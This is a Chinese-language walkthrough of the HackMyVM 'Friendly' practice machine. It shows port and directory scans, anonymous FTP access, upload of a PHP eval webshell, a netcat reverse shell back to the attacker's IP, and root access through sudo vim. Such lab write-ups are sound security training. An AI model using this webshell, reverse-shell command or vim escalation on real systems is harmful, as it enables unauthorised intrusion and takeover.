笔记于2025/12/1
参照HakcMyVM/Friendly.md at master · pencek/HakcMyVM · GitHub进行复现
靶机介绍:
FTP服务匿名、WEBSHLL上传、vim提权
攻击机IP:192.168.161.139
靶机IP:192.168.161.140
端口扫描
得知开放FTP服务和WEB应用协议
nmap -p- 192.168.161.140

详细信息检测
有匿名账户
nmap -p21,80 -A 192.168.161.140

WEB渗透测试
网站首页

目录扫描
只有index.html页面
gobuster dir -w /usr/share/wordlists/dirbuster-list-2.3-medium.txt -u http://192.168.161.140/ -x php,html,txt -e

FTP服务
ftp 192.168.161.140
#输入账户anonymous,匿名账户没有密码直接回车,继续输入
ls -al
#发现跟目录扫描出来一个框架

上传webshell
<?php eval($_POST['x']);?>
上传
put rce.php

攻击机开启监听

蚁剑连接webshell,终端执行命令
nc -e /bin/bash 192.168.161.139 6666

内网渗透
拿到user.txt

信息收集
sudo -l

内网提权
https://gtfobins.github.io/gtfobins/vim/#sudo

执行提权命令
sudo /usr/bin/vim -c '!/bin/bash'
拿到root.txt,这里的/root/root.txt是假的flag
find / -type f -name 'root.txt'

渗透测试收获
FTP匿名登录体验和FTP服务基本命令、新的提权vim提权